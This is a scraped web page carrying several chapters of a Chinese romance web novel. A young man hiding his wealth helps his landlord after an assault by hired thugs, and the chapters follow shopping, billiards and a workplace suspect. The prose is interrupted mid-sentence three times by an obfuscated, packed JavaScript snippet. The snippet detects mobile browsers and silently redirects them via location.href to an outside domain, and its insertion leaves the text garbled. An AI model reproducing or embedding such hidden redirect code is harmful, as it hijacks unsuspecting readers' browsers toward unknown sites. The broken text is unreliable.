另外几个蒙面人见辰星烁不是个好惹的，估计也不想闹出人命，拉着受了伤的同伴朝别处溜了。 辰星烁还想去追，走了两步感觉后背像是撕裂般传来揪心的疼痛，一个不稳差点儿摔倒，幸好顾词及时扶住他。 “你还好吗？”夜色沉沉中，顾词的眼中亮晶晶的，呼吸急促。 辰星烁扯出一个还算标准的笑，“没……我没事……” 顾词明显不太相信他的话，“不行，得去医院里看一下，万一内脏受伤就不好了。” “只是皮外伤，你不用太担心。你要是不放心，我明天去医院拍一张片子。” 顾词道：“这些人明显是冲我来的，幸好有你在，要不然我一个人肯定对付不了他们五个人。” 辰星烁问：“我担心后面他们还会找上门。” “这些人应该是专业的打手，这次算是打草惊蛇，应该会消停一段时间。”顾词看了一眼四周破败的楼房，叹了一声，“这附近估计就没有安装摄像头，警察追溯起来估计也有一定难度。” “最近你还是不要单独出门了。”辰星烁道。 “嗯，我先报警，让警察找一下有什么线索。”顾词说着就拨打了报警电话，在电话里和警察讲述了经过。 “好的，我们会排查一下的，您那边如果有重点怀疑对象也可以提供给我们，这样方便我们缩小排查范围……” 警察给出的结论是，这可能是一场无差别袭击事件，也可能是一件蓄意报复事件，当务之急是确定那几位打手的身份。 回到家，顾词先在顾诗身边安抚了一下妹妹的心情，小姑娘从来没见过这个架势，吓得不轻。 好不容易把顾诗哄睡着，顾词关上门，问： “这个摄像头已经修好了吧？” 辰星烁道：“修好了。” 顾词感觉稍微放心了一些，说：“没想到你买的摄像头还真派上了用场。” 他看了一眼辰星烁，想起什么，“你把上衣脱掉，我看一下伤口。” 顾词去储物室拎出医疗箱，放在客厅沙发旁的茶几上。 辰星烁坐在沙发上，脱掉外套和里面的毛衣，露出浅铜色的上身。他背对着顾词，说：“我感觉后背有刺痛感，你看一下是不是有淤青？” 顾词看了一眼，男人的后背上，在肩胛骨中间靠下一寸的位置，果然有一片半个手掌大小的淤青。 顾词道：“有淤青，我给你抹一下药油吧。” 辰星烁声音低沉：“好。” 顾词从医疗箱内找出一瓶药油，倒在掌心内，揉搓了一会儿，等到掌心发热，将手掌按在男人的后背上。 男人骨架很大，身材属于倒三角身材，浅铜色的皮肤下覆着一层薄肌。 顾词的手因摩擦带着温度，在淤青的位置小心揉了揉。 他看不清男人的表情，不知道力道是大了还是小了，关切地问： “疼吗？” 辰星烁后背僵直，感受着顾词掌心的热度，声线和平时比起来带着些沙哑： “不……不疼，很舒服……” 15. 第十五章 顾词又在掌心里倒了一些药油，双手打着圈儿摩擦。 掌心渐渐变热。 “幸亏你在这里，要不然根本无法想象我和顾诗可能遭遇到什么。” 辰星烁：“我也是第一次遇到这种事情。” 以前他最多是和同学闹矛盾，和学校里的人打过架，这还是辰星烁第一次和社会上的人打架。 这些人来势汹汹，不过能感觉到对方械斗的时候留了余地，不是真的想搞出人命。 “他们说是冲你来的，你最近有和谁结下梁子吗？”辰星烁问。 顾词一边把手掌按在男人后背上，一边思考：“我有个重点怀疑对象。” “谁？”辰星烁扭头看他。 “一个同事，我们俩同时进的公司，但最后只有一个能转正。” 辰星烁问：“怎么会有这种选拔制度？” 这不明摆着资本在坐收渔翁之利吗？ “公司是这样制定的。” “这说明一点儿也不合理，”辰星烁说，“这样既浪费人事的时间，也浪费面试者的时间，而且还会弄把办公室的气氛搞得乌烟瘴气。” 顾词笑道：“你也这样觉得吗？” “我虽然不太懂管理，但第一感觉是这样的。” 顾词：“可惜我们不是管理层，没有能力改变制度。” 辰星烁没有说话，像是在思考着什么。 顾词看着他严肃的样子，抹药油的手悄悄增加了一点儿力度。 后背麻麻的感觉让辰星烁打住了飘飞的心绪，“嘶——” 顾词笑道：“马上就好了。”他盖上盖子，把药油重新放回医疗箱。 “你打架还挺厉害的。” 辰星烁忍不住炫耀：“我属于实力不详，遇强则强。” 顾词好看的眼睛弯了弯：“知道你的厉害了。” “明天你要不然别去上班了，遇到这种糟心事还不在家里休息一天吗？”辰星烁趴在沙发上，仰着帅气的脸看顾词。 顾词站起身，笑道：“无论发生什么事，我都要上班，不上班谁给我钱呢？我需要钱。” 辰星烁不解地问：“你有这么需要钱吗？有多少钱你才会满足？” 顾词想了想，“我有房贷要还，还有个妹妹要养，将来如果不结婚，还要攒一些养老的钱。”他语气认真，继续道：“暖爪屋刚刚起步，也需要很多钱。比起需要用钱的地方，我现在赚的钱就是杯水车薪。如果我有钱的话，我还想去国外读书，但是我没钱，我只能放弃真正想做的事情……” 顾词的尾音带着颤，在昏暗的灯光下，能看到男人的眼圈在一点点加深。 他自幼没了父母，上小学的时候就知道自己家和别人家是不一样的，他的肩膀上过早地担上了责任。 大千世界，辰星烁和顾词属于完全不同的人。 但奇怪的是，辰星烁忍不住被顾词吸引。 像是茫茫宇宙相遇的星球，忍不住想要靠近对方。 顾词很少向人吐露心声，即使是和亲妹妹在一起，也不会过多讲述自己的压力。而辰星烁只是一个萍水相逢的人，两个星期后，他们几乎不会再有交集。 他很讨厌交浅言深，道：“抱歉，不应该和你说这些的。” 辰星烁眼神诚恳地望着他，“没事啊，我挺高兴你把这些事情告诉我。” 顾词摇摇头，“两周后你就要搬走了，和你说这些没有意义。” 辰星烁一时语塞，竟没办法反驳。 要是可以不离开就好了…… · 酒吧内，酷炫的灯光随着疯狂扭动的人群翻滚，喧闹的音乐搅起一波一波声浪。 吧台上，辰星烁坐在高脚凳上，手里晃着一杯威士忌，冰球碰撞到杯壁，发出清脆的声响。 身旁的方凯道：“我看你还是赶紧从人家家里搬出来吧，自从你住到他家之后，就没有啥好事。” 辰星烁放下酒杯，“你在说什么？” 方凯提高嗓门，“我说得有什么不对吗？本来就是！自从你住进那人家里之后，也不参加哥们几个的聚会了。不是在看人就是在看门，昨天还受伤了，你说哪一件事是好事？” 辰星烁：“……” 韦思晨道：“方凯说得对，我不太明白你为啥一定要住在那里，你要是不想回家，随便在市区租一个大平层不就好了，非要和人住一块儿吗？” “一个人住大平层多没意思？我就喜欢有人陪着我。”辰星烁道。 方凯一副恨铁不成钢的表情，“你就是欠揍。” 韦思晨道：“不过，你不是说那个叫顾词的人是社畜吗？社畜一般不是很忙吗？哪有时间陪你？” 方凯：“不止呢，他还是在星云上班的社畜，忙上加忙。” “对，就是太忙了，都没时间陪我。”辰星烁手臂支在吧台上，脑袋靠着手背，“我在家好无聊，都在想要不要去我爸公司里上班得了。” “你可别，千万别。”方凯说，“你以为上班轻松啊。我这几天在我爸公司里上班，人没给我累傻！下周再也不去了，老老实实回去读书。” “我有件事需要你们帮个忙。”辰星烁道。 方凯：“那哪能不帮啊，啥事？” “帮我找一下那几个打手，我记得其中一个人手腕上有一个五角星的青色纹身，身高一米八左右，不胖不瘦，估计是混黑-道的。” “可以，找到了哥们替你好好给他们一个教训。” “还有，找几个伶俐点儿的保镖。”辰星烁说，“保护一下顾词和顾诗的安全。” 韦思晨笑道：“你这才住人家家里几天，就和他们兄妹俩有这么深的感情了？” “帮不帮？”辰星烁问。 “帮肯定帮，哥们不是怕你到时候被人骗身又骗心，哭都没地方哭吗？”韦思晨说，“我直接把我家的保镖给你使，怎么样？” “这还差不多。”辰星烁起身，“我得走了，我约了医生给我做检查。” 方凯忙摆手：“得得得，你就一大忙人。赶紧走吧，查的时候认真点儿，万一有内脏出血什么的就不好了。” “把心放肚子里，我这么强壮的人，不会出什么事的。” · “怎么样？检查报告出来了吗？”回到家，顾词问。 “出来了，没事，就是一点儿皮外伤。”辰星烁正在沙发上看电视，“你要看一下吗？” 为了防止顾词看他的检查报告，辰星烁专门找的星云投资的私人医院做的检查。因为他认识里面的医生方便修改名字。 顾词道：“没有问题就好。今天警察又和我联系了，问那个人除了手腕上有刺青这个特征，让我们再回忆一下对方还有什么特征。” “那群人裹得太严实了，没有留下什么可用的信息。” “是的，”顾词叹了一口气，“也不知道什么时候能抓到这些人……” “你放心吧，肯定能抓到的，”辰星烁说，“只是早晚的事。” “我等会儿要去一趟Costco，你要去吗？”顾词问。 最近冰箱里的食材有些匮乏，顾词想去大商超里看看能不能采购一些时新的食物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276035|182420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我当然要去。”辰星烁站起身，拿上外套。 “今天气温比昨天低一点儿，建议你穿个厚一点儿的外套。”顾词说着，在阳台上取下刚晾好的毛衣。 “没事儿，我火力足。”辰星烁道，“不怕冷。” “真的吗？”顾词笑道，“我常年手脚冰凉，是不是就是因为火力不够？” 辰星烁说着，突然用手握住顾词的手，“你试一下，是不是很热？” 顾词感觉手掌突然被一个火热的东西裹住，他体温偏低，因此皮肤呈冷白色调，宛若白瓷下覆着淡淡的薄青。 男人虽刚刚成年，但手掌比顾词大了许多，能毫不含糊地包裹住他的手。 “你的手确实有点儿凉。”辰星烁道。 男人手心的热度不容忽视，顾词有种被灼伤的错觉，慌忙伸回手。 他不太习惯这种过于亲密的举动。 “我一直都这样，”顾词把毛衣搭在右手手臂上，“你等我一下，我收拾一下就出发。” 辰星烁点点头：“好。” · Costco内，货架上各类商品琳琅满目。 下班时间，商场内人声嘈杂，顾词推着购物车，辰星烁在他身旁亦步亦趋。 他身高将近一米九，看着像是顾词的贴身保镖。 顾词这次来Costco还有一个原因是家里的便携榨汁杯坏了，那个便携榨汁杯是在Costco买的。 他性格就是这样，一旦习惯了某个物品，就喜欢一直沿用某个品牌的款式或类型。 顾词从货架上将同款型号的便携榨汁杯放进购物车，货架旁放着一列电动牙刷，顾词拿起一个电动牙刷，问辰星烁：“买一个电动牙刷送你吧？我用的也是这款。” 辰星烁一想到能和顾词用同款电动牙刷，笑道：“好呀，谢谢。” 顾词把牙刷放进购物车，两人一边看商品一边朝前走。 他停下脚步读一款最新出的水冷散热器的出厂说明书，辰星烁则在旁边的几款耳机前流连。 辰星烁把一款白色的耳机戴在脑袋上，试了一下音乐效果。 不错，音质很好。他刚摘下，想试一下另外一款，突然听到不远处传来一道女声： “辰星烁？” 辰星烁下意识转头，看到一位全身上下都是香奈儿最新款秋季服装的女生。 那人和他年龄差不多，是他的高中同学刑芳菲。 刑芳菲挎着价值上万的YSL包包，看到辰星烁回头，准备提高声音再喊一遍他的名字。 与此同时，顾词听到声音转头，突然，辰星烁把耳机戴在他耳朵上！ 商超内的杂音瞬间褪去，只剩下耳机内的英文歌，像潮水漫延至顾词耳边的世界。 耳机内放着清澈的女声： “……If I don''t even care is that really such a crime.” (若我不在意，那真的是罪过吗？) “Shed your layer lay with me,Let''s waste a little time.” （宽衣解带，与我同眠，共度美好时光） “And if it all burns down well that''s just life.” （燃烧殆尽，那才是人生） “We''re all going anyways……” （反正我们都会义无反顾爱上对方） 16. 第十六章 辰星烁在他耳边提高声音道：“你在这儿等我一下，我去上个厕所。” 顾词点点头，继续听耳机内的歌曲。 这首歌顾词以前听过，是GREY的《Crime》，是他收藏夹里的一首歌。 耳机的音质确实比用手机听效果好得多，顾词沉浸在音乐的旋律中，没有注意到辰星烁在一排货架的遮挡下，和邢芳菲面对面，表情不是很好看。 “你找我有事情吗？”辰星烁一边说一边注意着顾词的方向，防止被顾词发现。 邢芳菲道：“怎么了？我们是三年的高中同学，见到你不能打声招呼吗？” 不知道的还以为辰星烁在做什么涉及国家机密的事情。 辰星烁皱着眉心，“我在忙。” 邢芳菲看着四周来来往往的人群，“在这里？” 她眨巴着眼睛，又道：“我听说你离家出走的事了，你来这里工作了吗？” 辰星烁语气渐渐带上点儿不耐烦，他不想让顾词等太久。 “不是。” “我之前联系你，看你没答复，不知道你有没有看到我给你发的信息。”女生道，“我上大学了，在G大。” G大是国内有名的电影学院，邢芳菲长相优越，将来应该能成功进军娱乐圈。 “我没看到消息，考上了就好好去读，你不是一直想当明星吗？” 邢芳菲露出腼腆的笑容，“你居然还记得我跟你说过这个事。” 辰星烁不耐烦地说：“你说了太多次了，想不记得都难。” 他瞄了一眼顾词的方向，见顾词摘下了耳机，忙对邢芳菲道：“下次见到我就当不认识我，别喊我名字了。” “为什么？” “别管，照做就是。”说着，辰星烁就朝顾词的方向走，头都没回。 · 顾词刚把耳机放回架子上，身后传来熟悉的声音：“没等太久吧。” “嗯，该买的差不多都买了，我们可以回去了。” 辰星烁主动拉上购物车的手柄，道：“我来推吧。” 从Costo回来，两人一起吃了一顿简单的晚饭。辰星烁洗澡出来的时候，顾词躺在沙发，闭着眼睛睡着了。 窗台的落地玻璃门没有关，夜晚的风穿堂而过，把雪白的窗帘翻转、旋转，发出一片簌簌的声响。 辰星烁身上辐射着热水的余温，用黑色毛巾擦了擦顺着头发滴落的水。 顾词蜷缩着双腿，躺在沙发上，像是感觉到微凉的夜风，好看的眉宇皱了皱。 辰星烁声音里沾着笑：“怕冷还不去卧室睡……” 他走到顾词面前，蹲下身，细细看这张清冷漂亮的脸。 顾词鼻梁挺拔，在侧脸投下一隅阴翳。饱满的唇珠看着像是草莓味的果冻，长而卷翘的睫毛宛若栖息在眼睑上的蝴蝶翅膀。 辰星烁放慢呼吸，像是在欣赏一件艺术品。 顾词像是感觉有点儿冷，把脸朝衣服内缩了缩。 辰星烁看着他在不足一米七长的沙发上蜷缩着身体，低笑一声，“在这里睡觉多憋屈。“ 他看着顾词的睡颜，在对方鼻尖上方的空气上勾了一下。 辰星烁拦腰抱起顾词，动作轻柔，每一步都像踩在冰面上谨慎，生怕弄醒了怀里的人儿。 到了顾词的卧室，辰星烁慢慢把人放在床上。 顾词没有醒，在柔软的枕头里转了个方向。 辰星烁扬起嘴角，把床上的被子盖在顾词身上，窗外的月光洒在床头，照在睡着的男人身上，像是给他镀上银色的光。 黑暗中，躺在床上的男人轻轻咕哝了一声，像是叹气，又像是在呓语。 顾词似乎是觉得身上的被子很热，一只腿踢开被子，露出细长且直的腿。 看到白花花的一条腿，辰星烁第一反应是背过身。 可是大脑像是中了病毒，一直浮现着刚才那幅活色生香的画面。 辰星烁默默朝嗓子眼咽了咽。 顾词也太不老实了，总不能就这样让顾词露着一条腿睡觉。 辰星烁转过身，小心翼翼地将被子重新盖上去。 这次没有把顾词的脚盖上，以防他觉得太热了。 辰星烁离开了顾词的卧室。 回到自己的卧室，顾词躺在床上，烙饼一样在床上翻来覆去，怎么都睡不着。 一闭眼，脑海中全是顾词躺在床上，将一条腿跨在被子上的模样。 笔直、白皙、细长…… 天杀的，是太久没有纾解的原因吗？ 辰星烁现在有些怀疑自己的眼睛，真的有男人拥有这么光滑白皙的腿吗？ 他以前的哥们个个都是糙汉子，腿毛长得能当毛裤，辰星烁算是体会到什么叫人与人之间的差距了。 好不容易睡着了，辰星烁隐隐约约做了一个梦。 梦里的顾词把一条腿搭在他跨上，脑袋伏在他胸口，用好看的眼睛盯着辰星烁的脸，那双浅淡的眸子仿佛具有魔法似的，辰星烁想都没想就吻/住顾词的唇角。 那种触感美妙极了，仿佛在品尝一道可口的草莓布丁。 辰星烁一直都嗜甜如瘾，恨不得把顾词全部吃掉。 还没吃完，耳边的手机炸锅似的唱起歌儿来，辰星烁烦躁地按灭了闹钟！ “艹！”辰星烁忍不住爆了一句粗口，声音干燥沙哑。 他闭上眼睛想续上刚才的甜蜜，却怎么都连不上了。 辰星烁恼火地坐起身，一起起来的，还有某个部位。 “……” 他住的客卧和主卫门对门，顾词起床了，辰星烁听到顾词踩着拖鞋踢踏的声音，后者走入卫生间关上了门。 辰星烁心头升起一股异样的感觉。 仿佛他刚刚和顾词真的发生了什么。 卫生间传来顾词洗漱的声音，辰星烁把脸埋在枕头里，动作着，很久才喘/息着呼出一口气。 他把卫生纸丢进垃圾桶。 · 吃早饭的时候，顾词感觉辰星烁今天不太对劲儿。 具体体现在每次他和对方说话的时候，后者总是移开目光，不敢看他的脸。 “昨天是你把我弄到床上的吗？”顾词咬了一口包子，汤汁鲜嫩。 “嗯，我看你睡在沙发上太憋屈了，就把你抱回床上了。” “我昨天睡着的时候有做什么奇怪的事情吗？”顾词喝了一口豆浆，“比如打了你或者说了奇怪的梦话？” “没……没有……”辰星烁支吾着，一抬眼看到顾词因为沾上豆浆莹润嫣红的嘴唇。 昨晚梦中缠/绵厮磨的触感再次唤醒，辰星烁咳嗽了一声：“我今天不太舒服。” “哦，这样啊。”顾词声线平稳，“我今天晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276036|182420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上下班要去一趟暖爪屋，和你提前说一声，晚上别做我的饭了。” 这几天王新经常叫他去帮忙，顾词答应王新今天晚上下班去暖爪屋，当然前提是晚上不加班。 “我和你一块儿去吧。”辰星烁道。 “你不是不舒服吗？” “我也没有特别不舒服，没啥大事。” 顾词：“……” “那行，不过去暖主屋要干活哦，我就是去干活的。” “我有的是力气。” 顾词被他逗笑了，说：“知道你有力气了，赶紧吃饭吧，还要上班。” 顾词的笑稀释了尴尬的气氛，辰星烁也笑了笑。 · “盼星星盼月亮，终于把你盼来了。” 看到顾词，王新走上前准备拥抱顾词，被顾词身后的辰星烁走上前挡住。 “你怎么也来了？”王新转头问顾词，下巴朝辰星烁扬了扬，“他还没从你家搬走吗？” 顾词道：“还没到一个月呢。” “那么久了没找到新房子？”王新皱了皱眉。 “他上班没多久，没赚到钱。”顾词替辰星烁找补，“他在我家挺好的，早晚饭都有人做，而且还提高了生活安全感。” 王新眼睛一瞟，“你确定他安全吗？” 辰星烁顶着一脑门官司，双手插兜，一切不言而喻。 顾词笑道：“要是没有他在身边，上次遇袭的时候，还不知道发生什么事。” 王新成功转移注意力，“说起这件事，警察现在还没查出幕后黑手吗？你不是说已经和警察透露了重点怀疑对象吗？” “那也是怀疑，没有证据。”顾词说，“警察没有抓到人。” “那怎么办？难道就任由犯罪嫌疑人逍遥法外？！”王新重重锤了一下顾词的车，把怀里睡觉的腊肠犬吓得缩起耳朵。 顾词摸了摸小狗的脑袋，手法轻柔，小狗成功被安抚。 “肯定不会就这么放过他的。”辰星烁冷不丁说。 王新看了他一眼，语气轻蔑，“你能有什么办法？你就一个穷小子，难不成真的以为能一直保护顾词吗？” 王新这话不太好听，顾词忙道：“王新——” “所以我会找到证明那人违法的证据，”辰星烁神经大条，没有识别到王新话语中伤害自尊的部分，“绝对不允许他再次伤害到任何人。” “但愿吧。”王新语气中充满不信任。 今天晚上的任务是洗狗，顾客是一只大金毛，狗狗很乖，但是前提是在它的视线中要能看到主人。顾词洗狗的时候，辰星烁给他打下手，忙了差不多两小时才结束。 结束任务后，王新请顾词和辰星烁在附近的一家大排档吃烧烤。 吃完烧烤刚好八点，王新突然提议：“咱们去打台球怎么样？好久没打台球了，有些技痒。正好这附近新开了一家台球室。” “我也好久没打了，”顾词转头看向身边的男人，“你会打台球吗？” 辰星烁其实从高二开始就经常和方凯他们一起在学校附近的台球室打台球。 但是，他如果说了实话，不太符合他这个“穷小子”的身份。 哪有穷人饭都吃不饱，还去泡台球室的？ 只见男人摇了摇头，“我不会，你能教我打吗？” 顾词笑了笑，“好啊，我教你。” 17. 第十七章 新开的台球室环境不错，晚上八点多了，人依然不少。 王新找了一个角落里的台球桌，这里相对来说安静一些，可以远离一些在台球室抽烟的人群。 顾词拿起一根台球杆，递给王新一根，对辰星烁说：”我和王新先打，我们俩边打边教你。“ 男人接过，道：“好。” 王新对顾词说：”你今天可得打起精神，我是不会让你的。” 顾词笑道：“我尽量，你又不是不知道我的水平。” 他的台球还是王新教的，和王新的对战中，胜率差不多45%。 王新在一旁摆球，顾词和辰星烁简单介绍了台球的种类和规则。 “简单来说，就是先确定你是花色球还是全色球，第一个打入的球的种类是什么样的，你后面就只打某类球。确定之后，要用白球击打自己的球，当把自己的球全部打入洞之后，最后看谁最先把黑8打进洞，谁就赢了。” “听着很简单。”辰星烁道。 王新说：“得了吧，你都没打过，就说简单。” 辰星烁耸耸肩，“感觉挺简单。” “你来开球，”顾词对他说，“我教你打球姿势。” 顾词一只手放在台球桌边沿，架住台球杆，对辰星烁道：“像这样，一只手握住球杆，一只手负责控制球杆的前进方向。” 辰星烁走到他面前，有样学样地把手放在台球桌上，另一只手握在球杆上。 闲闲一摆，就是非常标准的姿势。 顾词：“……看样子你学习能力确实很强。” 又道：“这样，瞄准好方向后，用力往前推，注意用力方向不要偏离你实际想去的方向，这个度是最难把握的。” 顾词一只手放在男人握住球杆的位置，重重往前一推，只听“啪”得一声，白球击中台球桌另一边摆好的球，将各色球冲得四零八落。 “就是这样。”顾词对辰星烁说。 辰星烁笑道：“还挺有意思的。” 王新说：“正式开始了，我一个人打你们两个人，怎么样？” “行啊。”顾词是无所谓输赢的态度，跟朋友一起玩从来不会因为输了游戏而脸红。 王新说着，拿起台球杆轻轻一推，将一颗纯色球推入袋中。 “可以啊。”顾词说。 王新嘴上不说，脸上却是炫耀的表情。 紧接着又去打另外一颗纯色球，这次台球杆的边缘堪堪擦过球边。 “打歪了。”王新懊丧地说。 顾词找到一颗比较好打的花色球，绕到台球桌另一边，他一只手握着球杆较粗的那边，一只手放在桌子上用来掌控球杆的方向。 顾词弯腰的时候，视线凝聚在前方的白球和花球。男人全神贯注的时候，下颌线紧绷。从辰星烁的角度能看到顾词枣核般的喉结和因为躬身显露出的细窄的一截腰肢，以及呈现圆润弧度的臀部。 这次力度不够，球堪堪停留在洞口边缘，王新对辰星烁说：“该你了，这么好进的球应该能进。” 辰星烁一时没反应过来是在叫他，顾词说：“陈星，该你了。” “哦哦，到我了吗？”他看了一眼桌子上乱七八糟的球，问，“打哪一颗？” 王新佯怒，“你专心一点，难不成你要让阿词陪着你输吗？” 他摸了摸鼻尖，“我不会让他输的。” 说着走到合适的位置，俯身，鹰隼般的目光扫了盘面一眼，如同高算力的扫描仪，精准算出想要达到目标应有的力度和角度。 他举重若轻地一顶，球顺利落入袋中。 “可以，”顾词笑道，“第一球就进了，我们能赢。” 王新说：“继续。” “你来，”顾词说，“你进的球，接着打。” 男人指了指桌上的球，“你想让哪一颗球进？” “口气不小，”王新拄着球杆说，“想进哪个就能进哪个吗？你得看哪一个好进。” 顾词说：“就那一颗吧。”他指了一颗好打的花球。 辰星烁扫了一眼，“好。” 旋即走到合适的位置，只听球和球相撞发出一声清脆的声响，又是一杆进洞！ 顾词拍了两下手，为了照顾王新的面子，没有连续鼓掌。 王新一只眼大一直眼小，不可置信地说：“假的吧？” “天赋异禀。”辰星烁淡淡道。 顾词笑出声，“厉害。” “我还以为是阿词跟着你混，三天饿九顿，没想到是潜力股。”王新打起精神，“接着打。” 后面辰星烁收敛了许多，打球没有那么咄咄逼人了。 主要是不能露馅。 桌上台球换了三波，三人都是微微出汗的程度。 双方胜率尚可，一胜一负一平。 王新道：“不玩了，太晚了。” 顾词看了一眼时间，已经十点了。 “确实太晚了，明天还要上班。” 把王新送回暖爪屋，顾词开着车和辰星烁一起回家。 到家后，顾词第一件事就是洗澡。他洗完澡，在阳台上把白天晾晒的衣服收起来。光线寥落，顾词囫囵收起一堆衣服，拿到卧室。 顾词坐在床上准备把衣服叠好，突然看到手里拿了一个平角内裤，内裤中间的部位鼓起一个拳头大小的弧度。 顾词：“……”不小心把别人的内裤收起来了。 他看了下自己的平角内裤，和另一个人的比起来，像是小了一码。 顾词拿着男人的内裤走到阳台，准备用衣架子撑起来重新挂到绳上。 突然听到身后传来脚步声，他转身，看到男人腰上围着浴巾，裸着上半身，八块肌肉块垒分明，两道清晰的腰线收束进浴巾内。 辰星烁的视线正落在顾词手上的内裤上。 顾词：“……” 空气在此刻像是凝结了。 顾词支支吾吾地说：“我……刚才……刚才不小心把你的内裤收起来了。” 男人走近，从顾词手上接过内裤，“这个我今天要穿。” 两人相距不到一步的距离，顾词仿佛能感受到男人身上的热度。 两人沉默着，完成了内裤的交接仪式。 “……” 顾词同手同脚地离开了。 回到卧室，顾词搓了搓脸，一旁的穿衣镜中，男人的脸上浮着两朵红云。 感觉脸上都热了，顾词把五根手指张开又分开，仿佛刚才拿的是定时炸弹。 以前他没意识到客房里睡的是一个成年男性，只当对方是个小弟弟，但实际上对方除了年纪比他小，其它各方面都比他大，比如个子、力气等。 如果真的想对他做什么的话，顾词还真不一定是他的对手。 顾词现在想想，自己也真是心大。 “幸好陈星不是啥坏人……”顾词以心问心。 他的后怕迟到了快一个月，终于来了。 · 顾词和几个同事在实验室做场景测试，他穿着蓝色的实验服，赵海站在不远处，顾词刻意和对方保持着距离。 自从上次袭击事件发生后，顾词除了工作上的必要交流，其余基本上不和赵海有接触。 李琦春偷偷问他，“感觉最近你和赵工之间的气氛有点儿古怪，你们之间发生什么事情了吗？” 顾词手上的动作没有停，“我们俩一直不咋对付。” 他不能把自己的怀疑当作事实说出去，因为这是造谣，程序正义的情况下必须遵循程序，等程序给他一个结果。 李琦春说：“也是。” “你是不是快要做转正述职了？” “对。” 李琦春道：“紧张不紧张？我跟你说，你不用太紧张，到时候会有三个主管面试，你正常发挥就行。一般就是问你过去一段时间内的工作成果及工作体会相关的，不会太为难你的。而且，黎总的意见在结果中占据的权重相对较高，他对你很满意，说明胜算越大。” “嗯，我知道，正常发挥就行。” 突然，实验室门口传来敲门声。 顾词离得比较近，摘掉口罩去开门。 是齐梦珂。 齐梦珂问他：“赵海在里面吗？” “在。” “今天有警察来，说要询问他一些事情，你能让他出来一下吗？” 顾词一听，心想警察终于来了，那就等问询结果吧。 “好。”顾词朝赵海的方向走。 赵海正在做测试，眼角余光已经注意到了他，但是佯装没看到。 “赵海，齐梦珂让你出去一趟。” 赵海装作听不到，顾词耐心地说：“警察说要和你沟通一下。” 听到“警察”的名字，赵海终于动了动，把脸转向顾词。 顾词传递完信息，径直走了。 赵海脱掉身上的实验服，打开门跟齐梦珂出去，顾词实验结束后都没看到他回来。 下午有个例会，顾词站在会议室前面讲述4270样品的测试结果。 身后是PPT投影，顾词胸前带着工牌，一丝不苟地讲解着。 黎远端坐在桌子最前面，双手交叠，时不时提几个问题，每次顾词都轻而易举地做了解答。 “……这款产品针对客户的需求做了一个调整，目前已经在进行灰度测试，预计明后天会有结果。” 突然，安静的会议室内，赵海皱眉问：“你有证据吗？” 声音很大，似乎有穿透墙壁的力量。 众人面面相觑，一片哗然。 顾词问：“什么证据？” “你怎么能说明你的产品是满足客户需求的？” “我和客户邮件沟通过，客户已经确认。” “难道不可以做的更好吗？”赵海明显情绪上头，“如果是我，我可以更好地满足客户的要求。” 顾词：“你所谓的更好，不过是满足客户一些非必要的功能，且会增加客户的成本。” “好了，”黎远叫停了两人的辩论，“客户既然已经确认，说明能接受目前的功能和成本。” 顾词走下讲解台，李琦春上去讲述项目进程。 顾词却根本听不进去，脑海中全是赵海的那句“你有证据吗”，这句话像是借题发挥的挑衅。 他原本以为警察来了，赵海所做的事情便东窗事发，可是看赵海的态度，事情似乎没有那么简单。 · 晚上，顾词坐在书桌上的电脑前，用企鹅号联系了一个私人侦探。 他猜测警察抓不到背后指使者是因为存在黑/市交易，且双方的交易过程被完美隐藏。 他想问一下私人侦探有没有门路。 【GC：能帮忙找几个打手吗？其中一个人手腕上有一个五角星的刺青，前阵子在老城区那边袭击了我】 【大同侦探社：可以，我先问一下我们的消息网，看看有没有人知道这个信息】 过了没多久，企鹅号滴滴响了两声。 【大同侦探社：我们负责信息的人员在目前的信息库中也没有找到有这个特征的打手的信息，但是我发现了一个事情，感觉有必要告诉你一下】 【GC：什么事？】 【大同侦探社：有人前阵子花了大笔价钱悬赏知情人，悬赏的人也是手腕上有五角星刺青，最近活动区域和时间就是三周前的老城区。据说最高金额是一百万，已经成为所有侦探及猎人的重点关注对象了……】 顾词看着电脑屏幕，眼镜片上浮着一片蓝紫色的光。 他自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276037|182420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言自语道：“难道是公安机关的工作人员联系的？要不然谁会出这么大的手笔？” 想着，门口传来敲门声。 “请进。” 辰星烁拿着一盘草莓，对他一扬，笑问：“吃不吃草莓？” 顾词摘下眼镜，“吃，我还真有点儿饿了。” 辰星烁把草莓放在他手边，“我下午买的，贼甜。” “我发现你好像很喜欢吃甜的。”顾词拿起一颗果肉饱满红润的草莓。 “对，我喜欢吃甜的，小时候我爸妈为了防止我吃太多甜的，每天甚至限制我吃糖的颗数。” 顾词咬了一口草莓，果然很甜。 